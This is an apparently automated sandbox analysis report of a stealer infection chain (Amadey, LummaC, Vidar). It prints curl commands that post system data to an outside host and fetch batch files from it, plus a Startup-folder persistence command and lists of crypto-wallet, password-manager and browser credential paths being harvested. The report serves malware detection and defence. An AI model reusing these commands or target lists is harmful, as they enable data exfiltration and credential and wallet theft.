Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Process created: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"

Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -x post -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 0" --data-binary @"c:\users\user\appdata\local\temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 3" -lo "c:\users\user\appdata\local\temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -lo "c:\users\user\appdata\local\temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -x post -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 1" --data-binary @"c:\users\user\appdata\local\temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 3" -lo "c:\users\user\appdata\local\temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -lo "c:\users\user\appdata\local\temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -x post -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 0" --data-binary @"c:\users\user\appdata\local\temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 3" -lo "c:\users\user\appdata\local\temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -lo "c:\users\user\appdata\local\temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -x post -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 1" --data-binary @"c:\users\user\appdata\local\temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -h "x-sec-id: 3" -lo "c:\users\user\appdata\local\temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -h "x-reply: 1" -a "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/132.0.0.0 safari/537.36 edg/130.0.2849.80" -h "x-referer: 433a5c55736572735c6a6f6e65735c417070446174615c4c6f63616c5c54656d705c313031343038313030315c4d3569465232302e657865" -h "x-auth: 2f4a4f4e45532d50432f6a6f6e65732f32" -lo "c:\users\user\appdata\local\temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior

Source: M5iFR20.exe, 0000000A.00000000.2473210730.0000000000282000.00000002.00000001.01000000.0000000A.sdmp, M5iFR20.exe, 0000001E.00000000.2682800040.0000000000F62000.00000002.00000001.01000000.0000000C.sdmp, 95025a00c8.exe, 0000002B.00000002.3070657538.0000000000152000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: cProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0072DD91 cpuid

6_2_0072DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

Code function: 0_2_0069CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0069CBEA

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.yiDQb6GkBq.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 6f79b29ee1.exe PID: 824, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5799e5ec40.exe PID: 504, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001421000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 5799e5ec40.exe, 00000026.00000002.3070871988.0000000000436000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: MetaMask\|1\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|MetaMask\|1\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|1\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|TronLink\|1\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|BinanceChainWallet\|1\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|1\|0\|Yoroi\|1\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase\|1\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|1\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|1\|iWallet\|1\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|RoninWallet\|1\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|1\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CloverWallet\|1\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|LiqualityWallet\|1\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra_Station\|1\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|1\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|AuroWallet\|1\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|PolymeshWallet\|1\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|1\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98\|1\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|1\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain\|1\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|1\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|1\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Oxygen (Atomic)\|1\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|PaliWallet\|1\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|NamiWallet\|1\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Solflare\|1\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|CyanoWallet\|1\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|1\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|1\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Goby\|1\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|RoninWalletEdge\|1\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|UniSat Wallet\|1\|ppbibelpcjmhbdihakflkdcoccbgbkpo\|1\|0\|0\|Authenticator\|0\|bhghoamapcdpbohphigoooaddinpkbai\|1\|1\|0\|GAuth Authenticator\|0\|ilgcnhelpchnceeipipijaljkblbcobl\|1\|1\|1\|Tronium\|1\|pnndplcbkakcplkjnolgbkdgjikjednm\|1\|0\|0\|Trust Wallet\|1\|egjidjbpglichdcondbcbdnbeeppgdph\|1\|0\|0\|Exodus Web3 Wallet\|1\|aholpfdialjgjfhomihkjbmgjidlcdno\|1\|0\|0\|Braavos\|1\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|1\|kkpllkodjeloidieedojogacfhpaihoh\|1\|0\|0\|OKX Web3 Wallet\|1\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender\|1\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|1\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|GeroWallet\|1\|bgpipimickeadkjlklgciifhnalhdjhe\|1\|0\|0\|Pontem Wallet\|1\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Finnie\|1\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra\|1\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Microsoft AutoFill\|0\|fiedbfgcleddlbcmgdigjgdfcggjcion\|1\|0\|0\|Bitwarden\|0\|nngceckbapebfimnlniiiahkandclblb\|1\|0\|0\|KeePass Tusk\|0\|fmhmiaejopepamlcjkncpgpdjichnecm\|1\|0\|0\|KeePassXC-Browser\|0\|oboonakemofpalcgghocfoadofidjkkk\|1\|0\|0\|Rise - Aptos Wallet\|1\|hbbgbephgojikajhfbomhlmmollphcad\|1\|0\|0\|Rainbow Wallet\|1\|opfgelmcmbiajamepnmloijbpoleiama\|1\|0\|0\|Nightly\|1\|fiikommddbeccaoicoejoniammnalkfa\|1\|0\|0\|Ecto Wallet\|1\|bgjogpoidejdemgoochpnkmdjpocgkha\|1\|0\|0\|Coinhub\|1\|jgaaimajipbpdogpdglhaphldakikgef\|1\|0\|0\|Leap Cosmos Wallet\|1\|fcfcfllfndlomdhbehjjcoimbgofdncg\|1\|0\|0\|MultiversX DeFi Wal
Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 6f79b29ee1.exe, 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live3

Gathers system information via systeminfo

Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
